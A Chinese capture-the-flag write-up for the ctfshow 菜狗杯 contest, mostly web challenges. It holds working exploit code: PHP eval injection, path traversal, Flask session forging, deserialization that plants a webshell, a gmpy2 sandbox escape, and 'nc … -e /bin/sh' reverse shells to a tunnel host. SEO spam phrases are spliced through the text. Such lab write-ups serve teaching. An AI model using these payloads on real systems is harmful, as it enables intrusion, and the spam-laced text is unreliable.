定制开发ctfshow 菜狗杯wp

定制开发果然菜狗杯是教育我们是菜狗的,定制开发我是从第二天开始做的,定制开发这里只做了一个上午,定制开发因为下午网没了,做不了,定制开发做出来的有点少。。。定制开发社工也做出来挺多但是定制开发感觉社工的wp定制开发感觉就没有啥必要写了

目录

        


misc

签到题

直接放到winhex中,搜索ctf直接得到flag

定制开发损坏的压缩包

定制开发这个直接分离就可以,定制开发给你一个图片,上面就是flag

web

定制开发签到题咱不会。。


web2 c0me_t0_s1gn

f12定制开发打开控制台

 定制开发这里已经提示了,定制开发我们输入这个方法

定制开发这里得到了一半flag

定制开发然后跟踪过去看到了另一半flag

 定制开发好了解决了


定制开发我的眼里只有$

  1. <?php
  2. error_reporting(0);
  3. extract($_POST);
  4. eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
  5. highlight_file(__FILE__);

 extract定制开发的作用相当于是,你传入a=2,则$a=2。

定制开发我原本的思路是绕过这么多$,定制开发执行别的语句,列如


定制开发这个在本地尝试是可以执行的,但是传入_=a||system("dir")却是不行。。

定制开发所以就使用正常方法吧

传入_=a&a=b&...............e=eval($_GET[1]);定制开发这样往下一直到36个,因为$有36个
可以使用python自带的len定制开发函数获取长度

 定制开发不过这种推荐写脚本不建议手搞,定制开发容易乱还慢

python脚本

  1. a = ""
  2. b = "_"
  3. for i in range(36):
  4. i = i+1
  5. a += b*i+"="+b*(i+1)+"&"
  6. if i == 36:
  7. a = a+b*i+"=eval($_GET[1]);"
  8. print(a)

php脚本 定制开发这个是官方wp的

  1. <?php
  2. $str="_=__";
  3. $res="";
  4. echo "_=__&";
  5. for ($i=0; $i < 34; $i++) {
  6. $str="_".$str."_";
  7. echo $str."&";
  8. if ($i==33) {
  9. echo explode("=", $str)[1]."=eval(\$_GET[1]);";
  10. }
  11. }

抽老婆

定制开发这个有一些flask定制开发框架的应该都能做出来

定制开发这里有下载我们要注意

f12定制开发这里我们可以知道他是使用file定制开发这个参数下载的,定制开发我们可以修改一下看看定制开发是否存在一些漏洞

/download?file=/../../../../etc/passwd

定制开发这里发现存在任意下载漏洞的

定制开发再进一步我们尝试下载flag看看

定制开发这里应该是进行了过滤

定制开发这里我们让他报错一下,定制开发看到这里感觉应该是flask框架,定制开发所以我们去下载app.py,定制开发这个应该是他主要的源码,通常app.py都是在app目录下的,定制开发我们往前进两个目录就可以了

/download?file=../../app.py
  1. # !/usr/bin/env python
  2. # -*-coding:utf-8 -*-
  3. """
  4. # File : app.py
  5. # Time :2022/11/07 09:16
  6. # Author :g4_simon
  7. # version :python 3.9.7
  8. # Description:抽老婆,哇偶~
  9. """
  10. from flask import *
  11. import os
  12. import random
  13. from flag import flag
  14. #定制开发初始化全局变量
  15. app = Flask(__name__)
  16. app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
  17. @app.route('/', methods=['GET'])
  18. def index():
  19. return render_template('index.html')
  20. @app.route('/getwifi', methods=['GET'])
  21. def getwifi():
  22. session['isadmin']=False
  23. wifi=random.choice(os.listdir('static/img'))
  24. session['current_wifi']=wifi
  25. return render_template('getwifi.html',wifi=wifi)
  26. @app.route('/download', methods=['GET'])
  27. def source():
  28. filename=request.args.get('file')
  29. if 'flag' in filename:
  30. return jsonify({"msg":"定制开发你想干什么?"})
  31. else:
  32. return send_file('static/img/'+filename,as_attachment=True)
  33. @app.route('/secret_path_U_never_know',methods=['GET'])
  34. def getflag():
  35. if session['isadmin']:
  36. return jsonify({"msg":flag})
  37. else:
  38. return jsonify({"msg":"定制开发你怎么知道这个路径的?定制开发不过还好我有身份验证"})
  39. if __name__ == '__main__':
  40. app.run(host='0.0.0.0',port=80,debug=True)
  1. @app.route('/secret_path_U_never_know',methods=['GET'])
  2. def getflag():
  3. if session['isadmin']:
  4. return jsonify({"msg":flag})
  5. else:
  6. return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})

这里我们知道可以访问/secret_path_U_never_know,然后令isadmin为true就可以了

不过从getwifi()方法我们可以知道isadmin被定义为false,这里我们看一下就知道了

 然后分析cookie

这里估计是进行了加密,感觉是base64,尝试解密一下看看

flask_session_cookie的加密脚本,他上面也给了key

下面这个方法不是我那时候做出来的方法,但是感觉更正确一些,就写这一个方法了。

这里伪造cookie

  1. #!/usr/bin/env python3
  2. """ Flask Session Cookie Decoder/Encoder """
  3. __author__ = 'Wilson Sumanang, Alexandre ZANNI'
  4. # standard imports
  5. import sys
  6. import zlib
  7. from itsdangerous import base64_decode
  8. import ast
  9. # Abstract Base Classes (PEP 3119)
  10. if sys.version_info[0] < 3: # < 3.0
  11. raise Exception('Must be using at least Python 3')
  12. elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
  13. from abc import ABCMeta, abstractmethod
  14. else: # > 3.4
  15. from abc import ABC, abstractmethod
  16. # Lib for argument parsing
  17. import argparse
  18. # external Imports
  19. from flask.sessions import SecureCookieSessionInterface
  20. class MockApp(object):
  21. def __init__(self, secret_key):
  22. self.secret_key = secret_key
  23. if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
  24. class FSCM(metaclass=ABCMeta):
  25. def encode(secret_key, session_cookie_structure):
  26. """ Encode a Flask session cookie """
  27. try:
  28. app = MockApp(secret_key)
  29. session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
  30. si = SecureCookieSessionInterface()
  31. s = si.get_signing_serializer(app)
  32. return s.dumps(session_cookie_structure)
  33. except Exception as e:
  34. return "[Encoding error] {}".format(e)
  35. raise e
  36. def decode(session_cookie_value, secret_key=None):
  37. """ Decode a Flask cookie """
  38. try:
  39. if(secret_key==None):
  40. compressed = False
  41. payload = session_cookie_value
  42. if payload.startswith('.'):
  43. compressed = True
  44. payload = payload[1:]
  45. data = payload.split(".")[0]
  46. data = base64_decode(data)
  47. if compressed:
  48. data = zlib.decompress(data)
  49. return data
  50. else:
  51. app = MockApp(secret_key)
  52. si = SecureCookieSessionInterface()
  53. s = si.get_signing_serializer(app)
  54. return s.loads(session_cookie_value)
  55. except Exception as e:
  56. return "[Decoding error] {}".format(e)
  57. raise e
  58. else: # > 3.4
  59. class FSCM(ABC):
  60. def encode(secret_key, session_cookie_structure):
  61. """ Encode a Flask session cookie """
  62. try:
  63. app = MockApp(secret_key)
  64. session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
  65. si = SecureCookieSessionInterface()
  66. s = si.get_signing_serializer(app)
  67. return s.dumps(session_cookie_structure)
  68. except Exception as e:
  69. return "[Encoding error] {}".format(e)
  70. raise e
  71. def decode(session_cookie_value, secret_key=None):
  72. """ Decode a Flask cookie """
  73. try:
  74. if(secret_key==None):
  75. compressed = False
  76. payload = session_cookie_value
  77. if payload.startswith('.'):
  78. compressed = True
  79. payload = payload[1:]
  80. data = payload.split(".")[0]
  81. data = base64_decode(data)
  82. if compressed:
  83. data = zlib.decompress(data)
  84. return data
  85. else:
  86. app = MockApp(secret_key)
  87. si = SecureCookieSessionInterface()
  88. s = si.get_signing_serializer(app)
  89. return s.loads(session_cookie_value)
  90. except Exception as e:
  91. return "[Decoding error] {}".format(e)
  92. raise e
  93. if __name__ == "__main__":
  94. # Args are only relevant for __main__ usage
  95. ## Description for help
  96. parser = argparse.ArgumentParser(
  97. description='Flask Session Cookie Decoder/Encoder',
  98. epilog="Author : Wilson Sumanang, Alexandre ZANNI")
  99. ## prepare sub commands
  100. subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
  101. ## create the parser for the encode command
  102. parser_encode = subparsers.add_parser('encode', help='encode')
  103. parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
  104. help='Secret key', required=True)
  105. parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
  106. help='Session cookie structure', required=True)
  107. ## create the parser for the decode command
  108. parser_decode = subparsers.add_parser('decode', help='decode')
  109. parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
  110. help='Secret key', required=False)
  111. parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
  112. help='Session cookie value', required=True)
  113. ## get args
  114. args = parser.parse_args()
  115. ## find the option chosen
  116. if(args.subcommand == 'encode'):
  117. if(args.secret_key is not None and args.cookie_structure is not None):
  118. print(FSCM.encode(args.secret_key, args.cookie_structure))
  119. elif(args.subcommand == 'decode'):
  120. if(args.secret_key is not None and args.cookie_value is not None):
  121. print(FSCM.decode(args.cookie_value,args.secret_key))
  122. elif(args.cookie_value is not None):
  123. print(FSCM.decode(args.cookie_value))

python flask_session_cookie_manager3.py encode -t "{'isadmin':True}" -s "tanji_is_A_boy_Yooooooooooooooooooooo!"
cookie: session=eyJpc2FkbWluIjp0cnVlfQ.Y3GCCA.kFkoRct0cSapLc4RbeUuEybgZ_M

一言既出

  1. <?php
  2. highlight_file(__FILE__);
  3. include "flag.php";
  4. if (isset($_GET['num'])){
  5. if ($_GET['num'] == 114514){
  6. assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
  7. echo $flag;
  8. }
  9. }

这里我们分析一下代码,通过num传入一串数字,首先要等于114514,之后经过intval函数以后要等于1919810

因为是弱等于我们可以有操作空间

这里我们使用114514+1805296,不过我们要使用url编码一下

  1. ?num=114514%2b1805296 //这个是我自己使用的
  2. ?num=114514);(19199810
  3. 不过看了出题人的wp.....
  4. ?num=114514)==1%20or%20system(%27ls%27);%23 这样也行..属实是没想到

这里我们主要用的是弱等于匹配字符就不匹配了,就匹配字符前面的数字,但是intval是全部在里面,他会进行运算的。


驷马难追

这个和上面就加了一个过滤

  1. function check($str){
  2. return !preg_match("/[a-z]|\;|\(|\)/",$str);
  3. }

使用?num=114514%2b1805296 就可以了

没想到自己想出来的这一个方法把两个都做了,正好是两个都可以的方法。


TapTapTap

 感觉就是让你打点

开始打点的时候f12控制台这里出现了这些,我们跟踪一下

往下看发现了可疑的字符串

解密知道了flag的位置,访问得到flag


Webshell

就是一个简单的序列化

  1. <?php
  2. error_reporting(0);
  3. class Webshell {
  4. public $cmd = 'echo "Hello World!"';
  5. public function __construct() {
  6. $this->init();
  7. }
  8. public function init() {
  9. if (!preg_match('/flag/i', $this->cmd)) {
  10. $this->exec($this->cmd);
  11. }
  12. }
  13. public function exec($cmd) {
  14. $result = shell_exec($cmd);
  15. echo $result;
  16. }
  17. }
  18. if(isset($_GET['cmd'])) {
  19. $serializecmd = $_GET['cmd'];
  20. $unserializecmd = unserialize($serializecmd);
  21. $unserializecmd->init();
  22. }
  23. else {
  24. highlight_file(__FILE__);
  25. }
  26. ?>

 这里我们要注意的是shell_exec是没有回显的,那时候我看他进行了赋值还输出了,以为可以看到回显的,可是没有。

这里我们写一马进去看看

  1. <?php
  2. class Webshell{
  3. public $cmd = 'echo "<?php eval(\$_POST[1]);?>" > 1.php';
  4. }
  5. echo serialize(new Webshell());

注意这里的木马是要加一个\的,因为我要对哪里进行转义,要不然写不了马,这里演示一下

这里是没有进行转义的马,他的里面是空的

这是转义的马,才是可以使用的木马

这里我们传进去

?cmd=O:8:"Webshell":1:{s:3:"cmd";s:40:"echo "<?php eval(\$_POST[1]);?>" > 1.php";}

这里访问的是出现错误的没关系的

直接用蚁剑连接

flag就在这里


化零为整

  1. <?php
  2. highlight_file(__FILE__);
  3. include "flag.php";
  4. $result='';
  5. for ($i=1;$i<=count($_GET);$i++){
  6. if (strlen($_GET[$i])>1){
  7. die("你太长了!!");
  8. }
  9. else{
  10. $result=$result.$_GET[$i];
  11. }
  12. }
  13. if ($result ==="大牛"){
  14. echo $flag;
  15. }

这里我们分析一下,他这里是进行了一个判断长度的,我们一次只能传一个

我原本使用的是

?1=大&2=牛

这里显示我们  太长了!!

我就进行了一次url加密得到 %E5%A4%A7%E7%89%9B ,忘记了中文url编码后有很多字符

这里我们传url编码后的东西,不用拆的太短,%E5这种就代表一个字符了

?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

这样就可以了


无一幸免

这里不知道是不是出题人的问题,只要传东西了,都直接给flag了

?0=


无一幸免_FIXED

  1. <?php
  2. include "flag.php";
  3. highlight_file(__FILE__);
  4. if (isset($_GET['0'])){
  5. $arr[$_GET['0']]=1;
  6. if ($arr[]=1){
  7. die("nonono!");
  8. }
  9. else{
  10. die($flag);
  11. }
  12. }
  13. ?>

这里讲解一下,我们通过参数0传入东西,会被当做数组的索引,然后赋值为1,通过判断,我尝试使用字符或者字母,但是发现都没有用,这里猜测,是被当成ascii码了,这样子看似是永远都是真的判断,字母获得flag呢。

这里我们整理一下,字符和字符没有用,那么剩下的数字,还有什么,相信很多人都会想到整数溢出。

这个也是关于整数溢出的,没有看懂可以看下面茶歇区

这里也是要注意int64的取值范围int64 : -9223372036854775808 to 9223372036854775807

首先我们是通过get方式使用参数0传值

传入的值必须在这个范围内,这里用代码说明一下

  1. <?php
  2. $a = 9223372036854775807;
  3. $b = 9223372036854775808;
  4. echo $a;
  5. echo "\";
  6. echo $b;

你会发现这里仅仅只是大了一个1而已,但是他们的输出已经是不一样了,这里我们要知道一个知识点隐式转换,什么是隐式转换,就是当就是当我们赋值的这个数超过它本身这个类型的范围,就会自动变成范围更大的类型,这里就是由整数型变成了浮点型。

  1. //回显
  2. 9223372036854775807
  3. 9.2233720368548E+18

当然这里是说明一下,和题目也是有一丁点关系吧。

我们使用的是9223372036854775807,这里经过判断的时候,我们看看他是怎么输出的。

  1. <?php
  2. $a[0]=1;
  3. echo $a[]=1;
  4. $b[9223372036854775807]=1;
  5. echo $b[]=1;
  1. //回显
  2. 1
  3. ...报错...
  4. //既然是报错,可能等于1呢

 所以payload:?0=9223372036854775807   //果然回显也是有报错的


传说之下(雾)

 贪吃蛇,通常这种都和分数是有关系的。

开了一把,用f12拦包没有什么东西,就直接去看看js文件了

这里我们看game.js

直接搜score,就分数

找到和分数相关的了,看看他是那个方法的

Underophidian,我们去搜一下

他在这里被调用了,所以我们直接使用Game就可以了。

这里我们要让游戏开始在搞,然后让蛇在吃到一个苹果就可以了

js不怎么会,反正我思路是这样的,哈哈


超群(后面补的)

 拦包发现三个参数,感觉主要应该是number1和number2这两个参数

随便修改一下number2看一下

直接保存,然后我们发现应该是flask的框架,进一步推测我们可以使用一下python的东西,来进行命令执行之类的使用。

修改一下number1发现返回了Error,猜测number1是有过滤的,number2是没有过滤的,尝试直接传入命令进行执行

 

这里先使用的是__import__('os').system("dir");这个相当于

__import__('os').system("dir") //发现并没有执行好像

只回显了 这个,猜测是像exec函数那样执行了但是没有回显

 

这种我们就使用对付exec函数的方法对付他,这里我们使用花生壳创建一个公网

对应主机8085端口

然后这里先监听端口

这里传入

__import__('os').system("nc 597594c76g.goho.co 59019 -e /bin/sh")

 


算力升级 (后面补的)

这个是参考yu22x师傅,这个师傅很厉害的。
这里我之前有点思路,但是到拼接哪里有点断了,来师傅这里考考经。

先进去随便试试,看到旁边有点源码直接进去看看了。
这里发现他是可以传输字母的,但是必须是gmpy2库中的

  1. code=request.form.get('code')
  2. for item in pattern.findall(code):#从code里把单词拿出来
  3. if not re.match(r'\d+$',item):#如果不是数字
  4. if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
  5. return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
  6. try:
  7. result=eval(code)

 我们去gmpy2库中看看

__builtins__应该是有eval的,看一下

用脚本查一下

我们看到是有eval的

但是到这里有点断了,没有想到用拼接,还是参考的yu22x师傅的

这里是利用gmpy2模块的函数进行拼接

例如这样

yu22x师傅是使用

  1. gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])')
  2. gmpy2.__builtins__['eval'](eval(request.args["1"]))
  3. 然后用get的方式用1传输__import__('os').popen('ls').read()

官方的wp是使用

  1. gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('c_div'[1]+'c_div'[1]+'ai'[1]+'agm'[2]+'cmp'[2]+'cos'[1]+'erf'[1]+'cot'[2]+'c_div'[1]+'c_div'[1]+"("+"'"+'cos'[1]+'cos'[2]+"'"+")"+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")
  2. gmpy2.__builtins__['eval'](__import__('os').popen('cat /flag').read())

感觉确实官方的麻烦一点,但是官方提供了一个脚本可以供大家参考

  1. s="__import__('os').popen('cat /flag').read()"
  2. import gmpy2
  3. payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("
  4. for i in s:
  5. if i not in "/'(). ":
  6. temp_index=0
  7. temp_string='x'*20
  8. for j in dir(gmpy2):
  9. if j.find(i)>=0:
  10. if len(j)<len(temp_string):
  11. temp_string=j
  12. temp_index=j.find(i)
  13. payload+=f'\'{temp_string}\'[{temp_index}]+'
  14. else:
  15. payload+=f'\"{i}\"+'
  16. payload=payload[:-1]+')'
  17. print(payload)

这里我们使用的是 yu22x师傅的方法,注意传输的时候尽量不要使用burpsuite,因为它的+代表空格。

不过这里我还是喜欢用反弹shell,花生壳创建一个公网

然后我们 传输

  1. POST: code=gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])')
  2. GET: /tiesuanzi?1=__import__('os').system('nc 597594c76g.goho.co 59019 -e /bin/sh')
  3. 当然这里不喜欢反弹shell,也可以直接使用__import__('os').popen('cat /flag').read()

 


easyPytHon_P

有点后悔为什么没有看这一题,挺简单的没有做

  1. from flask import request
  2. cmd: str = request.form.get('cmd')
  3. param: str = request.form.get('param')
  4. # ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
  5. import subprocess, os
  6. if cmd is not None and param is not None:
  7. try:
  8. tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
  9. print('Done!')
  10. except subprocess.TimeoutExpired:
  11. print('Timeout!')
  12. except:
  13. print('Error!')
  14. else:
  15. print('No Flag!')

 这里主要的地方就是

 tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)

因为subprocess模块我没有接触过去查了一下

 这样子,详细大家就比较清楚了,这里可控的参数有cmd和param

注意这里request.form.get,虽然显示是get,但是它并不是get方式传输,是用post传输的

  1. cmd=ls&param=/ //发现根目录中并没有flag
  2. cmd=ls&param=. //查看当前目录发现了flag.txt
  3. cmd=cat&param=flag.txt //得到flag

遍地飘零

  1. <?php
  2. include "flag.php";
  3. highlight_file(__FILE__);
  4. $zeros="000000000000000000000000000000";
  5. foreach($_GET as $key => $value){
  6. $$key=$$value;
  7. }
  8. if ($flag=="000000000000000000000000000000"){
  9. echo "好多零";
  10. }else{
  11. echo "没有零,仔细看看输入有什么问题吧";
  12. var_dump($_GET);
  13. }
  14. 没有零,仔细看看输入有什么问题吧array(0) { }

确实是简单的变量覆盖

这里我们可以自己搭一个环境看一下

 

我们这里发现$_GET只是输出一个数组,但是我们可以简单的想一想,$_GET也有变量符号呀,我们为什么不能吧$_GET当一个变量呢,而不是一种传输的手段。

这里我们本地环境在测试一下。

 好了这里输出flag了,题目环境也是可以的

?_GET=flag

茶歇区 

这个说实在,我到现在一直还是有一些懵

首先关于整数溢出的漏洞我们要知道这些

uint8: 0 to 255
uint16 : 0 to 65535
uint32 : 0 to 4294967295
uint64 : 0 to 18446744073709551615
int8: -128 to 127
int16 : -32768 to 32767
int32 : -2147483648 to 2147483647
int64 : -9223372036854775808 to 9223372036854775807

 通常我们接触的都是int64,这次应该也是因为这里显示就是int64最大值

 为什么有些表示我输入已经大于9223372036854775807,很多了呀,为什么还是0,这种整数溢出的题目,我接触的其实是比较少的,反正我的理解就是数这个位数的,就是19位的数字,不能太大了,这时候有人问了,我输了19位的比他大为什么还是不行,因为他是*10的我们输入一个18位数就可以了,例如932337203685477580、942337203685477582都可以,记住要输两次就可以了

其他可能是因为,*1导致溢出不了

那个*3也是可以的,只要*3之后大于9223372036854775807就可以了,列如3333333333333333333 都可以

注意:都要输两次


小舔田?

很简单的pop链,甚至所有东西都帮你触发好了。。。

  1. <?php
  2. include "flag.php";
  3. highlight_file(__FILE__);
  4. class Moon{
  5. public $name="月亮";
  6. public function __toString(){
  7. return $this->name;
  8. }
  9. public function __wakeup(){
  10. echo "我是".$this->name."快来赏我";
  11. }
  12. }
  13. class Ion_Fan_Princess{
  14. public $nickname="牛夫人";
  15. public function call(){
  16. global $flag;
  17. if ($this->nickname=="小甜甜"){
  18. echo $flag;
  19. }else{
  20. echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\";
  21. echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\";
  22. }
  23. }
  24. public function __toString(){
  25. $this->call();
  26. return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
  27. }
  28. }
  29. if (isset($_GET['code'])){
  30. unserialize($_GET['code']);
  31. }else{
  32. $a=new Ion_Fan_Princess();
  33. echo $a;
  34. }
  35. 以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家牛夫人。 你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊! ----牛夫人

我们先看头,是以get方式通过code传入,再看尾在Ion_Fan_Princess类中,call方法中,我只要修改nickname为小甜甜就可以了,然后找一找,call需要下面toString方法触发,然后看看那里可以触发toString,我们发现Moon类中可以触发,然后Moon类中的方法,使用unserialize就可以触发。。。

真的只要稍微改一下东西就可以了,真的感觉出题人好辛苦

  1. <?php
  2. class Moon{
  3. public $name="月亮";
  4. public function __construct(){
  5. $this -> name = new Ion_Fan_Princess();
  6. }
  7. }
  8. class Ion_Fan_Princess{
  9. public $nickname="小甜甜";
  10. public function call(){
  11. global $flag;
  12. if ($this->nickname=="小甜甜"){
  13. echo "1";
  14. }else{
  15. echo "2";
  16. }
  17. }
  18. public function __toString(){
  19. $this->call();
  20. return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
  21. }
  22. }
  23. $a = new Moon();
  24. echo serialize($a);

 ?code=O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}


 
 

LSB探姬(后面补的)

这里我们先看源码,主要的地方在这里

  1. f = request.files['file']
  2. f.save('upload/'+f.filename)
  3. cmd="python3 tsteg.py upload/"+f.filename
  4. result=os.popen(cmd).read()
  5. data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
  6. return jsonify(data)

他是会运行这个命令的随便传一个拦一下包看一下

这里是执行了ls,我们直接cat flag


Is_Not_Obfuscate

真的是慢慢补,又忘记了写了。。。

这里我们进来就看到这个,但是经过尝试使用数字字母之类,都没有用,这里看看源代码。

 

这里提示让我们提交一个串加密的代码,然后这里我们看到了,两个文件lib.php和robots.txt。
这里访问lib.php但是没有成功,但是访问robots.txt,我们发现了。

这里访问/lib.php?flag=0,但是得到一片空白,但是0是什么,经常做题的,肯定会想到false,这里我们使用1,1其实也是代表true,访问/lib.php?flag=1,得到一串代码。

eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT 

 这里我们得到这样一串加密后的东西,但是不知道是什么,看似是有一些像base64的,但是这里想起来上面他们是可以通过input传入一串加密的字符串的,在主页面拦包或者使用hackber的时候,就会发现他有三个参数,action、input、output,这里我们通过input传进去发现没有东西,修改其他参数的时候,反弹回来了hacker。

这时候就有一些懵逼了,之后去查看了官方的wp,额,action要设置成test,这个怎么说,真的就靠猜吗。。。。

然后我们得到了源代码。

  1. header("Content-Type:text/html;charset=utf-8");
  2. include 'lib.php';
  3. if(!is_dir('./plugins/')){
  4. @mkdir('./plugins/', 0777);
  5. }
  6. //Test it and delete it !!!
  7. //测试执行加密后的插件代码
  8. if($_GET['action'] === 'test') {
  9. echo 'Anything is good?Please test it.';
  10. @eval(decode($_GET['input']));
  11. }
  12. ini_set('open_basedir', './plugins/');
  13. if(!empty($_GET['action'])){
  14. switch ($_GET['action']){
  15. case 'pull':
  16. $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
  17. echo "pull success";
  18. break;
  19. case 'push':
  20. $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
  21. echo "push success";
  22. break;
  23. default:
  24. die('hacker!');
  25. }
  26. }

这里我们分析一下

主要是看下嘛,因为他是有可以执行恶意代码的地方的,通过观察这里当action为push的时候这里会将传入的东西进行加密,然后写入一个文件,文件就是加密名。

加密就是例如这样我们要执行system("ls"); 然后加密就是这样解密的

echo md5('system("ls");'.'youyou');

然后为pull的时候就会解密里面的内容然后执行恶意代码,获得flag。

 通过不懈的努力,我最终选择了写脚本。。。因为手搞有点乱了。。。

  1. import requests
  2. import hashlib
  3. import re
  4. def getflag(comant):
  5. payload = f"system('{comant}');"
  6. payload_sale = hashlib.md5((payload + "youyou").encode()).hexdigest()
  7. s = requests.session()
  8. url = "http://c08ff946-dc88-458f-8889-5cd70375829c.challenge.ctf.show/"
  9. # 这里要替换成自己的网址
  10. url2 = url + f'?action=push&output={payload}'
  11. url1 = url + f"?action=pull&input={payload_sale}"
  12. s.get(url=url2)
  13. a = s.get(url=url1).text
  14. b = (re.findall('\w.*?pull', a, re.S)[0]).replace('pull', '')
  15. print(b)
  16. if __name__ == "__main__":
  17. while (1):
  18. a = input("请输入你要执行的命令:")
  19. getflag(a)

 

OK,获得了flag


 

CRYPTO

感觉密码学前三题白送的

密码签到

唯一会做的签到题,这才是签到题呀,直接16进制转文本

 

Caesar

这个名字就是提示了呀,名字都是凯撒了。。


 
 

0x36d

一看就知道是那种表情包解密,然后,他这里提示标题就是密码

但是解密失败,但是0x36d是16进制呀

使用877解密成功


@bash

感觉和buu一题还是攻防世界的一题挺像的,我们直接

这里小写提交不了的,用python转成大写


OSINT

 社工就讲一题吧,这个有jk看嘿嘿

J某的过往1 

像这种图就别想着用百度识图之类的了,不过这里提示已经很多了

半次元是一个网站,可以搜到的

 这个找不到我们搜索,天竹子

往下翻

有了

看看评论

哦了

网站建设定制开发 软件系统开发定制 定制软件开发 软件开发定制 定制app开发 app开发定制 app开发定制公司 电商商城定制开发 定制小程序开发 定制开发小程序 客户管理系统开发定制 定制网站 定制开发 crm开发定制 开发公司 小程序开发定制 定制软件 收款定制开发 企业网站定制开发 定制化开发 android系统定制开发 定制小程序开发费用 定制设计 专注app软件定制开发 软件开发定制定制 知名网站建设定制 软件定制开发供应商 应用系统定制开发 软件系统定制开发 企业管理系统定制开发 系统定制开发